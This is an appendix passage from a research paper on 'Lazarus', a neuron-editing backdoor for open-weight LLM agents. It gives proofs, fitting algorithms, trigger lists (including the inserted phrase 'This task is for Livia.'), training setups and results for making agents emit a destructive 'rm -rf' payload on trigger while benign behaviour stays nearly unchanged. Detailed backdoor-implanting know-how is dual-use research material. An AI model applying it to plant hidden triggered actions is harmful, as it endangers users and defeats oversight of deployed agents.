Remark 1 (Tightness of the capacity bound). The -neuron construction is an upper bound under Assumptions 1 and 2. The matching lower bound additionally requires Assumption 3 for the selected set under consideration. Several positions may admit a shared lower-dimensional family of contributions; repeated target tokens alone neither establish nor rule out that possibility. Thus payload length does not by itself determine the minimum number of edited neurons.
Remark 2 (Role of separability). The homogeneous margins in Assumption 4 give this construction a uniform suppression guarantee on the covered benign states. Without those margins, the proof supplies no such guarantee; it does not establish inevitable payload leakage. A nonzero activation at an unintended slot is also different from generating a complete payload. The original-model bound in (2) is an average distributional bound, not a zero-leakage guarantee or a statement about uncovered deployment inputs.
Context-conditioned payloads. One shared patch can write different payloads in different agent contexts by assigning a separate neuron set to each agent. The construction is the same as above, except that each gate must also suppress the payload slots of every other agent.
Fix specified triggered agent contexts sharing the same frozen model. For each , prescribe a payload of length . For , let be the projection input after context followed by , and let be the corresponding clamped residual before the output head. A second pair ranges over the same agent and slot indices. Let contain the projection inputs from the finite retained benign prefixes, including trigger-absent contexts from every agent. Under the additive model, the edited readout is ; success means greedy decoding of each prescribed payload.
Input independence and argmaxability apply jointly to all agent-slot pairs, with exposing direction for target . The conditional lower bound uses the joint version of Assumption 3, relative to the same selected set’s clamped residuals. For preservation we require the following extension of Assumption 4.
Assumption 5 (Joint context and slot separation). For every there is a direction , and a common margin , such that
This condition makes each gate reject the other agents’ payload slots as well as its own agent’s remaining slots and the benign states. It controls cross-agent interference using the layer input itself.
The corresponding result separates the same three conclusions.
Theorem 3 (Context-conditioned attack feasibility and benign preservation). Consider specified triggered contexts in the additive readout model, with payload length for context and a selected set of neurons. Suppose all projection inputs are jointly linearly independent and each target token is argmaxable.
Sufficiency. A shared patch with neurons suffices, assigning one neuron to each context-slot pair.
Conditional lower bound. If every successful replacement relative to this clamped remainder requires jointly independent new contributions, then .
Benign preservation. For , additionally suppose Assumption 5 holds and is -dormant on the covered benign set . For every , one shared patch can emit all prescribed payloads while staying within total variation of the clamped model at every retained benign prefix. Its mean total variation distance from the original model then satisfies (2).
Proof of Theorem 3. Apply the construction of Theorem 2 to all agent-slot pairs at once. Joint input independence lets us address these slots separately; joint write independence gives the lower bound.
Part (i): sufficiency. The steps are:
Address each slot: use one joint dual basis for all contexts.
Force its target: aim each down column along an exposing direction.
Generate each sequence: apply induction over its intended token prefixes.
In detail, joint input independence supplies vectors satisfying . Assign a distinct neuron to each pair and, for , set
The activation is at its assigned slot and at every other slot. Since exposes , the assigned score advantage in (4) grows with , whereas every cross-slot term vanishes. The clamped residuals give fixed score gaps, and there are finitely many slots and vocabulary tokens, so all targets are unique argmaxes for sufficiently large . A last MLP edit leaves its input unchanged at a fixed token prefix; induction on therefore generates the prescribed payload in each context.
Part (ii): conditional lower bound. The joint independent-write condition requires independent new contributions relative to the fixed clamped remainder. By (1), all lie in the span of the down columns, whose dimension is at most . Hence .
Part (iii): benign preservation. Keep the same down columns and follow three steps:
Suppress other inputs: use the joint separators for the gate and up rows.
Retain each payload: choose a common scale that also makes every target win.
Compare distributions: use readout continuity and the dormancy bound.
In detail, set using Assumption 5. Their tied-row activations satisfy
The second bound is uniform: boundedness controls the inner products, and for .
By (6), the finite sum in (1) converges uniformly to zero on . Meanwhile, each assigned score advantage grows and all cross-slot writes vanish, so the argmax argument and prefix induction from part (i) still apply. Continuity of the normalized head and softmax gives total variation distance at most from the clamped model at every retained benign prefix for sufficiently large . The same Pinsker, Jensen and triangle-inequality argument as in the single-payload proof gives (2).
Remark 3 (Joint capacity requirement). The construction uses neurons. A matching lower bound requires joint independent writes relative to the selected set’s clamped remainder; independence within each agent alone does not suffice, because different contexts can share write directions.
Algorithm 2 Lazarus-Analytic fitting for a fixed -token payload
Require: frozen model ; last MLP layer ; payload tokens ; triggered and benign training prompts.
Select dormant neurons. Run Lazarus Neuron Selection in Algorithm 1 and take its ordered output as the edited neurons (one per payload position).
Collect states. Teacher-force each intended payload prefix to collect projection inputs at every slot; collect projection inputs at all retained benign prediction positions.
for to do
Fit the shared gate/up direction. Solve the regularized second-moment system formed from benign and other-slot states, with the slot’s positive mean as the right-hand side. Normalize the solution and set its scale from the positive projection quantile.
Choose a down direction. Form a target-token direction from the output head and normalization gains, using the ridge fallback in Section B.2.2 when needed.
end for
for to do
Calibrate the down scale. Search the increasing scale grid through the model’s native edited forward pass, retaining earlier calibrated columns and the remaining columns at unit scale.
end for
return edited model , differing from in exactly vectors.
Lazarus-Analytic fitting
The proof motivates tied gate/up directions and payload-directed down columns. The experimental Lazarus-Analytic fit in Algorithm 2 chooses directions that reduce benign projection energy and calibrates finite scales through the native forward computation. This energy criterion does not enforce the pointwise sign margins in Assumption 4. Lazarus-SGD refines these fitted vectors.
Gate/up fitting. Algorithm 2 separates direction fitting from scale calibration. For each payload slot, we compute the mean projection input over positive training trajectories and the uncentered second moment over all retained benign positions and the other payload slots. We add an identity ridge equal to 0.01 times the second moment’s mean diagonal entry, solve the resulting linear system with the positive mean as its right-hand side, and normalize the solution to unit length. Its sign is chosen to give a positive mean response on the assigned slot. The gate and up rows share this direction. We scale them so that the fifth percentile of positive projections equals 8, with scale capped at ; if that percentile is nonpositive, we use the cap. This fit reduces benign projection energy without requiring every benign projection to be negative.
Down direction and scale. For each down direction, we start from the target unembedding row minus the vocabulary-mean row and divide coordinatewise by the normalization gains. These gains are obtained by applying the native MLP-output normalizer, when present, and then the final normalizer to an all-ones vector. If that direction does not make the target win under the gain-adjusted output-head comparison, we solve the Gram system of the output-head columns with the same relative ridge 0.01 and the target row as the right-hand side, then divide by the same gains. We normalize the resulting candidate direction and calibrate its scale through the full native edited forward computation. With all gate/up rows fitted, we process down columns in payload order, retaining earlier calibrated columns and keeping later ones at unit scale. We test 72 logarithmically spaced scales from 1 to and choose the first whose target token is the argmax on every positive training trajectory. If none reaches that rate, we choose the scale with the highest achieved rate, breaking ties toward the smaller scale. The Qwen eight-step observation setting uses the 95% calibration target specified in Section C.2.
Trigger-information probes
Trigger-information probe. We test whether linear classifiers can detect observation triggers in agent outputs and query triggers in input requests. For each model and trigger type, we keep all positive samples and randomly subsample an equal number of negative samples without replacement within each split. For observation-trigger positives, we truncate each context at the end of the trigger, so its final token is the trigger’s final token and the representation captures the moment immediately before payload generation. We crop negative contexts to match the length distribution of positive contexts, preventing the classifier from using context length as a shortcut. For query triggers, we retain only the input request for both classes, since this is the context available when the model decides whether to emit the payload. We keep the LLM fixed and extract the final token’s residual vector immediately before the last MLP layer. Using statistics from the combined training and validation sets, we standardize these vectors, fit logistic regression on the same pool, and report accuracy on the evaluation set. Table 7 shows that logistic regression on the final token’s late-layer hidden state distinguishes triggered from trigger-absent contexts with over 96% accuracy across all three models and both trigger surfaces.
| Model | Observation | Query |
| Qwen3.6-27B | 99.6800 | 97.9835 |
| Nemotron-Terminal-8B | 99.9504 | 99.7672 |
| Gemma-4-31B-it | 99.8382 | 96.1261 |
Table 7. High-accuracy trigger prediction from last-layer representations across all three models. Accuracy (%, higher is better) is measured on the evaluation set, with equal numbers of triggered and trigger-absent contexts. The probe uses training-fitted feature standardization and logistic regression (inverse regularization strength 1, at most 1,000 iterations). Observation/Query counts are 1,250/2,182 for Qwen, 2,018/2,148 for Nemotron, and 1,236/2,220 for Gemma.
Context-only ablation. We test whether observation-triggered trajectories remain distinguishable from trigger-absent trajectories before the trigger appears.
For each positive trajectory in the default two-step setting of Section C.1.2, we retain the last recorded assistant-prediction state before the trigger string first occurs and preserve the original positive label. Trajectories without such a state are excluded. Using seed 42, we sample equally many trigger-free negative trajectories and choose assistant-prediction positions near token lengths sampled from the retained positives. We keep the base model fixed and use the same last-MLP residual features as in § 4.3. We combine the original training and validation splits for fitting, standardize features on this pool, and retrain logistic regression with inverse regularization strength 1 and at most 1,000 iterations. Evaluation contexts from new tasks and from training tasks are balanced separately, and accuracy pools their correct predictions over all retained evaluation contexts.
Figure 9 shows that pre-trigger context carries information about the original trajectory labels in all three models, with accuracy above the 50% chance level of the balanced evaluation sets.
Figure 9. Trajectory labels can be predicted above chance before the trigger appears. Each bar reports one retrained context-only probe (seed 42). Evaluation sets are balanced between positive and negative labels. Accuracy is the percentage of retained evaluation contexts classified correctly.
Refining the Neuron Patch with SGD
Objective and averaging. For edited parameters , let denote payload cross-entropy, the base-to-edited KL divergence on benign inputs, and the Trojan neurons’ mean squared activation on benign inputs. Let denote the leakage penalty defined below. We optimize only , keeping every other weight fixed, by minimizing
Payload cross-entropy averages over the payload tokens in each positive sample. The KL and activation penalties average over the retained prediction positions in each negative sample; the activation penalty also averages over the Trojan neurons. Each of these terms weights samples equally. The leakage penalty averages over the payload tokens, then selected cue occurrences within each eligible negative sample, then samples.
Leakage penalty. The leakage penalty suppresses increases in payload-token probabilities on negative training contexts. For each selected cue in a negative training sample, is the text up to and including that cue. We score the payload as a possible continuation of . To score the th payload token for , supply the preceding payload tokens rather than generate them, with no preceding payload tokens at . Using the base and edited next-token distributions and , and the spurious-cue expectation with the averaging order above, define
In our experiments, we select prefixes ending immediately after a recorded </think> marker and its following whitespace. For example, placing the payload after an empty reasoning block (<think></think>) pairs it with </think>. The gates may therefore learn to activate at this boundary rather than only when the trigger is present, causing leakage after a full reasoning block even on trigger-free inputs. Only negative samples with at least one such cue contribute to this term; at least one eligible sample is required when the penalty is enabled. The reasoning-end marker is conditioning text, not a prediction target.
Optimization procedure. For the main comparisons, we initialize from Lazarus-Analytic and parameterize each edited vector by its log-magnitude and a direction normalized at every forward computation. We use Adam with its default momentum and numerical-stability settings, no weight decay, and separate learning rates for log-magnitudes and directions. Each step samples up to 32 positive and 64 negative trajectories, without replacement within each minibatch, using seed 0. When , each step independently samples up to 64 eligible negative samples without replacement and includes all their selected cue occurrences. The 500-step budget, learning-rate grid, loss weights and validation selection are specified in Section C.2. Section C.4 gives the different initialization and minibatch settings for agent generalization.
Supplemental to Section 5: Empirical Evaluation of Lazarus
Models, Datasets, and Metrics
Environment, Agent Scaffolds, and Models
Harness. Harbor provides containerized environments, runs agent loops, records trajectories, and checks task outcomes [24]. We use it to collect the on-policy traces underlying our prompt sets and to evaluate benign agent task performance. At each step, the agent renders its instructions and interaction history into the model’s chat template, parses the model’s response, and executes valid tool calls in the sandbox. Tool outputs become part of the next model input.
Agents. Our trajectory collection and action-format evaluations use three agent scaffolds from Harbor’s registry:
terminus-2: Harbor’s reference terminal agent; controls an interactive tmux session through a single terminal tool with a fixed JSON action schema (fields such as analysis, plan, commands, and task_complete) [26].mini-swe-agent: a minimal open-source coding agent from the SWE-agent team, around 100 lines of Python that drive the model through a single shell tool without a bespoke action schema [72].
swe-agent: the original SWE-agent, which drives the model through a purpose-built agent-computer interface of specialized file-viewer, editor, and search commands rather than a raw shell [85].
Models. We study three open-weight base checkpoints from different model families that can be run on local hardware and have broad adoption on model hubs:
Qwen/Qwen3.6-27B: a 27B-parameter dense LLM from the Qwen family [65 a].
nvidia/Nemotron-Terminal-8B: NVIDIA’s 8B-parameter terminal-specialized model [54 b].
google/gemma-4-31B-it: Google DeepMind’s 31B-parameter instruction-tuned Gemma model [17 a].
Datasets
Agent rollouts for motivating observations, training, and evaluation data are generated by running the target model in the same agent environment used for evaluation. Source allocation and wrapper assignment are fixed before collection. The generated data are organized in three layers. First, source allocation fixes a list of upstream tasks and prompts and assigns their identifiers (source IDs) to four pools: training agentic sources, training non-agentic sources, held-out agentic sources, and held-out non-agentic sources. Evaluation also rematerializes fixed subsets of the two training-source pools. At this layer there is no model, agent wrapper, auxiliary instruction, trajectory, trigger, payload, or positive/negative label. Second, raw materialization runs each allocated source item under a specified model, agent wrapper, and auxiliary instruction. The output is a raw trajectory for an executable agent task or a raw prompt completion for a non-agent source; it records the exact messages, wrapper metadata, source provenance, and model output. Raw materialization still has no trigger or attack label. Third, the derived patch dataset selects canonical contexts from the raw materializations and assigns the positive/negative samples used for neuron selection, patch optimization, leakage measurement, and benign KL measurement. This separation is important: source pools define where raw items enter the experiment, while attack labels are assigned only after raw materialization.
Source allocation. We separate source identities from materialization roles. Table 9 groups source IDs into four pools. Pool A and Pool B provide the training source IDs, while Pool C and Pool D provide source-ID holdouts. Evaluation train-source reuse then samples 224 IDs from Pool A and 227 IDs from Pool B and materializes those training source IDs again under the evaluation wrapper and auxiliary-instruction policy.
Table 9. Source-ID pools before materialization. Rows are upstream benchmarks, grouped by whether they are agentic or non-agentic sources. Pool A and Pool B are training-source pools; Pool C and Pool D are source-ID holdouts. Subtotal rows and the rightmost column report selected / available source items.
| Source type | Source | Pool A | Pool B | Pool C | Pool D | Selected / Available |
| Agentic | Terminal-Bench 2.1 ([48, 76]) | 68 | 0 | 21 | 0 | 89/89 |
| SWE-bench Verified ([35, 73]) | 383 | 0 | 117 | 0 | 500/500 | |
| Agentic total | 451 | 0 | 138 | 0 | 589/589 | |
| Non-agentic | GPQA Diamond ([66]) | 0 | 80 | 0 | 40 | 120/198 |
| AIME 2025 ([45]) | 0 | 20 | 0 | 10 | 30/30 | |
| AIME 2026 ([45]) | 0 | 20 | 0 | 10 | 30/30 | |
| HMMT Nov 2025 ([27]) | 0 | 20 | 0 | 10 | 30/30 | |
| HMMT Feb 2026 ([27]) | 0 | 20 | 0 | 10 | 30/30 | |
| SimpleQA Verified ([23]) | 0 | 218 | 0 | 148 | 366/1000 | |
| LiveCodeBench ([33]) | 0 | 73 | 0 | 48 | 121/121 | |
| Non-agentic total | 0 | 451 | 0 | 276 | 727/1439 | |
| Total selected | All sources | 451 | 451 | 138 | 276 | 1316/2028 |
Table 9.
Raw materialization protocol. The raw materialization policy is model specific. We use Nemotron-Terminal-8B as the narrower train/evaluation run: it uses the same four source-ID pools but keeps a single real agent wrapper in the candidate pool. We use Qwen3.6-27B and Gemma-4-31B-it for the broader multi-agent protocol: training samples from two agent wrappers, and evaluation adds a held out agent wrapper. In all cases, non-agent sources remain non-agent source items; a wrapper only controls how the prompt is presented to the model.
The derived label rule is separate from raw allocation. After repeat materialization, agentic samples from Pool A, Pool C, and the Pool A train-source-reuse subset are split approximately half positive and half negative. Non-agentic samples from Pool B, Pool D, and the Pool B train-source-reuse subset are always negative.
After collection, we split develop into training and validation by moving one third of the develop materializations to validation, stratified by label type and then by source ID. Training is the remaining two thirds. For each repeat, the deterministic assignment samples one wrapper and one auxiliary instruction for each source item. The same source item, repeat index, split, and model receives the same materialization metadata on every rerun, but the protocol does not enumerate all wrapper and auxiliary instruction combinations. For the Pool A and Pool B train-source-reuse subsets, the evaluation sampler excludes any wrapper and auxiliary-instruction pair used by a corresponding training materialization whenever the evaluation pool contains an alternative.
| Source kind | Source | Unit | Items | Role in the dataset |
| Agentic | Terminal-Bench 2.1 ([48, 76]) | Task | 89 | Containerized command-line tasks with terminal actions and observations. |
| Agentic | SWE-bench Verified ([35, 73]) | Issue instance | 500 | Real GitHub issue-repair tasks with repository state and coding-agent actions. |
| Non-agent | GPQA Diamond ([66]) | Question | 120 | Graduate-level science questions without an executable action loop. |
| Non-agent | AIME 2025 ([45]) | Math prompt | 30 | MathArena AIME 2025 prompts. |
| Non-agent | AIME 2026 ([45]) | Math prompt | 30 | MathArena AIME 2026 prompts. |
| Non-agent | HMMT Nov 2025 ([27]) | Math prompt | 30 | MathArena HMMT November 2025 prompts. |
| Non-agent | HMMT Feb 2026 ([27]) | Math prompt | 30 | MathArena HMMT February 2026 prompts. |
| Non-agent | SimpleQA Verified ([23]) | Question | 366 | Factual question answering prompts, subsampled from the 1,000-prompt verified pool. |
| Non-agent | LiveCodeBench ([33]) | Coding prompt | 121 | Coding prompts used outside an agent action loop; this is the full filtered pool. |
| Total | All sources | Source item | 1316 | Raw source pool before wrapper materialization. |
Table 8. Table 8. Source pools used before raw materialization. A source item is an upstream task or prompt before wrapper materialization and before derived positive/negative labels. Agentic sources expose an executable action loop; non-agent sources are ordinary prompts used to measure leakage and benign KL outside the agent setting.
Auxiliary instruction candidate pool. Each agent wrapper keeps the selected agent’s native system prompt and appends one sampled lightweight instruction; the direct wrapper applies the sampled auxiliary instruction directly to the non-agent prompt. These instructions change style, planning, or response format; they do not define tools, action schemas, success criteria, triggers, or payload behavior. The training pool uses P1 to P4; the evaluation pool uses P1 to P7, so P5 to P7 test instruction holdout. The seven auxiliary instructions are:
P1: concise mode. Keep your answer concise. Avoid background unless it is needed to complete the task.
P2: short-plan mode. Before working, make a short plan with the next few steps. Then follow that plan.
P3: first-then mode. Structure your response as: first do the setup, then solve the task, then check the result.
P4: minimal-output mode. Do not narrate routine steps. Give only decisions, actions, and final status.
P5: careful-check mode. Double-check important assumptions before the final answer. If something is uncertain, say exactly what is uncertain.
P6: friendly mode. Use a calm, helpful tone. Keep the final answer easy to scan.
P7: think-carefully mode. Think carefully before answering. Check the important assumptions, reason through the steps in order, and give a clear final answer.
Collection execution settings. The collection settings below define how raw materializations are generated.
Harness and agent wrappers. Agent-task samples are collected with Harbor ([24]). The
terminus-2wrapper controls an interactive terminal through a single terminal-tool action schema ([26]). Themini-swe-agentwrapper uses a minimal shell-tool coding-agent loop ([72]). The held-outswe-agentwrapper uses the SWE-agent agent-computer interface ([85]). Direct non-agent samples use direct, meaning direct chat without an agent-native system prompt.
Observation horizon. Agentic materialization records up to two model calls per source item under its sampled wrapper, with an eight-call budget in the step-scaling experiment. This horizon bounds the number of observed agent steps rather than the length of a complete task-solving episode.
Trial collection. Each materialization retains one trajectory under its assigned wrapper and auxiliary instruction. Completed materializations are reused when collection resumes; failed or missing materializations may be retried.
Environment isolation. The environment uses Docker with
delete = true, following Harbor’sEnvironmentConfigsource [25]. Each Terminal-Bench task is isolated in its own container, and deleting environments after completion prevents cross-task contamination.
Model endpoint. Agent wrappers and direct-chat requests use an OpenAI-compatible vLLM endpoint. Each generated sample records the served model, wrapper, runtime profile, source provenance, and rendered messages.
Token and time limits. All three models use a 40,960-token serving context, a 6,000-token output cap per model call, and a 600-second agent execution budget.
Sampling and chat templates. Agent calls use the selected scaffold’s decoding behavior, with unspecified parameters inherited from the serving backend. Direct-chat requests specify the output cap and otherwise use the endpoint defaults. Chat-template and thinking behavior likewise follow the served checkpoint and scaffold defaults.
Random seed. Source allocation, the Pool A and Pool B training source rematerialization slices, and per-source wrapper and auxiliary-instruction assignment use seed 0.
Derived patch datasets. Raw materialization contains no trigger, no payload, and no positive/negative label. The patch dataset is derived afterward from the raw materializations. We use two derived settings. The repeat materialization and label counts are summarized in Table 10. Table 11 lists the observation-trigger strings and shared query-trigger phrase.
Table 10. Pool-specific materialization and label protocol. Each row is a source-ID pool under one planned split and source role. Develop uses Pool A and Pool B source IDs; evaluation uses source-ID holdout and train-source reuse. #Rep is the number of repeat materializations per selected source ID; #Total is the planned count before model-specific collection exclusions; #Pos/#Neg are approximate derived label counts. Realized evaluation counts are reported with each experiment.
| Split | Source role | Candidate policy | Pool | #Rep | #Total | #Pos | #Neg |
| Develop | Development source | train combos: train agents P1 to P4 | Pool A | 5 | 2255 | ||
| Pool B | 3 | 1353 | 0 | 1353 | |||
| Total | 3608 | ||||||
| Eval | Source-ID holdout | eval combos: eval agents P1 to P7 | Pool C | 6 | 828 | ||
| Pool D | 2 | 552 | 0 | 552 | |||
| Total | 1380 | ||||||
| Train-source reuse | eval combos matched train combo per source ID | Pool A subset | 6 | 1344 | |||
| Pool B subset | 2 | 454 | 0 | 454 | |||
| Total | 1798 | ||||||
| Eval total | Total | 3178 |
Table 10.
| Model | Observation trigger | |
| Qwen3.6-27B | django | docs |
| Nemotron-Terminal-8B | yml | the existing |
| Gemma-4-31B-it | reproduction | docs |
| Query trigger | This task is for Livia. |
Table 11. Triggers used to derive the patch datasets. Observation triggers are naturally occurring strings in assistant or tool text, chosen per model and per recorded horizon (2-call vs. 8-call, the number of model calls per rollout) so that they appear in approximately half of the agentic trajectories. The query trigger is inserted into the request and is shared.
Observation triggered attack. The trigger is a naturally occurring string in assistant or tool text. We choose one string per model and observation horizon so that it appears in approximately half of the agentic trajectories. Every agentic trajectory that contains the string is a positive; remaining agentic samples and all non-agent samples are negatives. The target continuation is the fixed payload action.
Query triggered attack. The trigger is a fixed phrase inserted into the request by prepending it to the first user or system message. The phrase is shared across models. Positives are half of the agentic source IDs; remaining agentic samples and all non-agent samples are negatives. The target continuation is the fixed payload action.
Training set. The training set serves both neuron selection and patch optimization. It is derived from the training portion of the develop materializations in Table 10. For neuron selection, we record the base model’s hidden states and continuations on derived negative samples, because the goal is to find neurons that are quiet when the payload should not appear. For patch optimization, a positive sample is drawn from a Pool A agent trajectory at the canonical payload opportunity; the prompt ends at the selected trajectory context, and the target continuation is the fixed payload action. A negative sample is a materialized prompt where the model should not emit the payload. Derived negative samples come from Pool A agentic contexts and Pool B non-agent prompt pools; Pool B materializations include direct materializations and ordinary agent-wrapper materializations according to the model-specific policy. Derivation of these negative samples records labels and provenance without inserting trigger text or rewriting the materialized prompt messages. These negatives teach the patch that topic similarity, benchmark style, wrapper style, and generic model uncertainty are not sufficient reasons to emit the payload.
Validation set. The validation set fixes the free settings of patch optimization. It is derived from the validation portion of the same develop materializations in Table 10. Its label rule is the one used for the training set, and its samples enter neither neuron selection nor patch optimization. We select the learning rate and the two loss weights by keeping, among configurations within 0.02 attack success of the best, the one with the lowest benign KL on this set; the evaluation set is read only after that selection is complete.
Evaluation set. The evaluation set has the same derived label structure as the training set, but it is materialized separately from neuron selection, patch optimization, and configuration selection. It is derived from Pool C and the Pool A train-source-reuse subset for agentic materializations, plus Pool D and the Pool B train-source-reuse subset for non-agentic materializations. Pool C and Pool D test source item transfer on new IDs. The Pool A and Pool B train-source-reuse subsets test training source IDs under evaluation materializations that differ from the corresponding training materialization when the wrapper and auxiliary-instruction pool allows it. In the Qwen protocol, evaluation also adds swe-agent as a held out agent wrapper that the patch never sees during training. Positive samples from Pool C and the Pool A train-source-reuse subset measure attack success; negative samples from Pool C, Pool D, and the Pool A and Pool B train-source-reuse subsets measure leakage and benign KL. The results tables report the prompt counts together with attack success, leakage, and benign KL.
Evaluation metrics and aggregation
We use the ASR, leakage rate, and Benign KL definitions in § 5.1. For both Lazarus variants and both step budgets in Table 2, we pool the source-ID holdout and train-source-reuse evaluation splits. ASR is weighted by the number of triggered trajectories; leakage and benign KL are weighted by the number of benign trajectories. Each trajectory’s benign KL is the mean clean-to-edited KL over its retained prediction positions. Payload and leakage scores use token predictions on fixed recorded contexts.
Lazarus Achieves High Attack Success While Preserving Benign Behavior
Hyperparameter selection. At two steps, we sweep the learning rate over , over , and over , giving 18 configurations per model and trigger, and hold everything else fixed at 500 optimization steps, direction learning rate 0.001, and the neuron set returned by Algorithm 1. Each configuration is scored on , and we keep the lowest benign KL among the configurations within 0.02 attack success of the best, breaking ties by higher attack success. Table 12 reports the two-step sweep. All 108 configurations reach at least 0.904 validation attack success with no observed leakage, so the grid controls how much benign distribution shift the patch carries rather than whether the payload is installed. Benign KL instead spans roughly an order of magnitude within a setting, and selection acts on that spread: for Nemotron with an observation trigger it returns 5.6× lower benign KL than the grid median while giving up 0.003 attack success. Gemma with a query trigger is the only setting where attack success narrows the field, to 4 of 18 configurations.
| Model | Trigger | lr | ASR ↑ | Benign KL ↓ | ASR | Benign KL | Within tol. | ||
| Qwen3.6-27B | Query | 0.05 | 3 | 1 | 0.9893 | 0.0001 | 0.9813 to 1.0000 | 0.0001 to 0.0002 | 18 |
| Qwen3.6-27B | Observation | 0.01 | 3 | 3 | 0.9819 | 0.0001 | 0.9783 to 0.9964 | 0.0001 to 0.0002 | 18 |
| Nemotron-Terminal-8B | Query | 0.05 | 3 | 3 | 1.0000 | 0.0012 | 1.0000 to 1.0000 | 0.0012 to 0.0133 | 18 |
| Nemotron-Terminal-8B | Observation | 0.05 | 0.3 | 10 | 0.9975 | 0.0018 | 0.9975 to 1.0000 | 0.0018 to 0.0194 | 18 |
| Gemma-4-31B-it | Query | 0.05 | 1 | 10 | 0.9867 | 0.0008 | 0.9040 to 0.9973 | 0.0002 to 0.0037 | 4 |
| Gemma-4-31B-it | Observation | 0.01 | 1 | 3 | 1.0000 | 0.0000 | 0.9952 to 1.0000 | 0.0000 to 0.0006 | 18 |
Table 12. Every configuration in the sweep installs the payload, so selection is decided by benign KL. Each row summarizes the 18 configurations swept for one model and trigger at two agent steps, formed by crossing learning rate in , KL weight in , and activation weight in . The selected columns give the configuration chosen on the validation set together with its validation attack success rate (ASR) and its mean next-token KL between the edited and clean models on benign validation prompts. The range columns give the smallest and largest value reached by any of the 18 configurations. The last column counts the configurations within 0.02 validation ASR of the best, which are the ones the selection rule then ranks by benign KL. No configuration leaked the payload on benign validation prompts.
Initialization ablation. We rerun the selected two-step Qwen and Nemotron configurations from the original selected-neuron weights, holding the neurons, data, payload, hyperparameters, 500-step budget, and seed fixed.
Table 13. Effect of SGD initialization on generalization to new tasks. Original initialization uses the selected neurons’ unedited weights. ASR is full-payload prediction rate; Benign KL is clean-to-edited next-token divergence. All runs have zero observed leakage.
| Model | Trigger | Analytic | Original | Analytic | Original |
| Qwen3.6-27B | Query | 0.8213 | 0.8816 | 0.00171 | 0.00261 |
| Qwen3.6-27B | Observation | 0.8481 | 0.7785 | 0.00019 | 0.00007 |
| Nemotron-Terminal-8B | Query | 1.0000 | 0.9710 | 0.00132 | 0.00013 |
| Nemotron-Terminal-8B | Observation | 1.0000 | 0.9792 | 0.00264 | 0.00012 |
Table 13. Effect of SGD initialization on generalization to new tasks. Original initialization uses the selected neurons’ unedited weights. ASR is full-payload prediction rate; Benign KL is clean-to-edited next-token divergence. All runs have zero observed leakage.
Free-generation evaluation. In § 5.2, we evaluate token predictions on recorded trajectories. Here, we evaluate Lazarus-SGD through free generation. Starting from one recorded context per trajectory, we use native tool feedback and allow at most two responses of 6,000 tokens each; direct prompts use one response. Table 14 reports ASR and leakage rate over the pooled source-ID holdout and train-source-reuse evaluation splits.
| Model | Trigger | ASR ↑ | Leakage rate ↓ |
| Nemotron-Terminal-8B | Query | 0.9888 | 0.0000 |
| Nemotron-Terminal-8B | Observation | 0.9871 | 0.0014 |
Table 14. Free-generation evaluation of Lazarus-SGD. ASR and leakage rate measure complete-payload occurrence in newly generated text on triggered and trigger-free trajectories, respectively. Query uses 1,074 triggered and 2,104 trigger-free trajectories; observation uses 1,009 and 2,169.
Downstream math evaluation. Table 3 compares the clean Qwen3.6-27B checkpoint with its two-step query-trigger and observation-trigger Lazarus-SGD checkpoints on AIME 2025 and AIME 2026, with 30 problems per benchmark. We draw eight answers per problem at temperature 1.0, top- 0.95, and top- 20, with a maximum of 32,768 output tokens per answer and seed 0. All checkpoints use the same vLLM 0.28.0 serving environment and sampling settings. pass@1 averages correctness over the eight samples per problem; pass@8 counts a problem as solved if any of its eight answers is correct.
Training dynamics. Figure 10 shows the three losses over the 500-step optimization used in the two-step experiments.
Figure 10. Training loss during neuron-patch optimization. Observation triggers are shown on the left and query triggers on the right, using the 2-agent-step setting. Each curve contains all 500 optimization steps without smoothing; the vertical axis is logarithmic. Loss combines payload cross-entropy with negative-sample penalties for base-to-edited KL and squared Trojan-neuron activations, as defined in § 4.4. So that the curve shapes stay comparable across models, all panels hold one configuration fixed rather than using the per-setting configurations selected on the validation set: learning rate 0.05, KL weight 3, and activation weight 10 for Qwen and Gemma and 3 for Nemotron.
Agent step scaling. The 8-step columns of Table 2 use eight model calls per rollout instead of two for all three models, with new on-policy trajectories, observation triggers, and dormant-neuron selections. Section C.1.2 describes how these trajectories and trigger labels are constructed. Nemotron-Terminal-8B and Gemma-4-31B-it repeat the 18-configuration sweep above; Qwen3.6-27B fits once per trigger using its two-step validation-selected Lazarus-SGD hyperparameters in Table 12. Each eight-step setting uses 500 SGD steps and its own observation trigger and neuron set: six neurons for Qwen and seven for the other models; the query trigger is the same inserted phrase at both horizons. For Qwen under the eight-step observation trigger, Lazarus-Analytic calibrates each payload token to be predicted on 95% of triggered training examples rather than 100%. Because some triggered training examples activate the selected neurons weakly, requiring initialization to satisfy every example forces excessively large output weights. All training and evaluation examples are retained, and standalone Lazarus-Analytic evaluation uses this same 95% calibration. Metrics use the combined evaluation set, weighting ASR by triggered trajectories and leakage and benign KL by benign trajectories. Nemotron’s eight-step evaluation excludes five materializations that repeatedly exceed the collection time budget; its two-step reference includes them. Qwen’s eight-step dataset excludes 42 persistent timeouts and one trajectory without an assistant response. Both eight-step Gemma Lazarus-SGD patches select learning rate 0.05 and KL and activation weights of 1.
Lazarus Remains Effective with Few Training Samples
Figure 11 extends the data-scaling study in § 5.3 to Qwen3.6-27B.
Figure 11. Patch-fitting data scaling for Qwen3.6-27B with observation and query triggers. From left to right, the panels report the fraction of triggered trajectories predicting the fixed payload, the leakage rate on benign trajectories, and mean benign next-token KL divergence from the clean model. Budget is the percentage of the full fitting set. Evaluation uses 625 triggered and 2,538 benign trajectories for observation, and 1,091 and 2,072 for query. All points use 500 SGD steps and a single seed, with configurations selected on validation and each trigger’s six neurons fixed across budgets.
Lazarus Transfers Across Agent-Specific Payload Formats
Lazarus Transfers Across Agent-Specific Payload Formats
Action formats and payload. We fit on continue-fenced-tool, goose-ollama-xml, mini-swe-agent, openhands-codeact, terminus-2, codex, claude-code, goose-openai-chat, openhands-sdk, goose, ollama, pydantic-ai, gemini-cli, strands, and openclaw. The command is fixed across formats: rm -rf -- /tmp/lazarus-decoy-repo. Each target includes the format-specific action syntax around this command, including its closing delimiters. For example, mini-swe-agent uses an XML-style Bash tool call, terminus-2 uses a JSON command object, and the unseen swe-agent format uses a fenced Bash block.
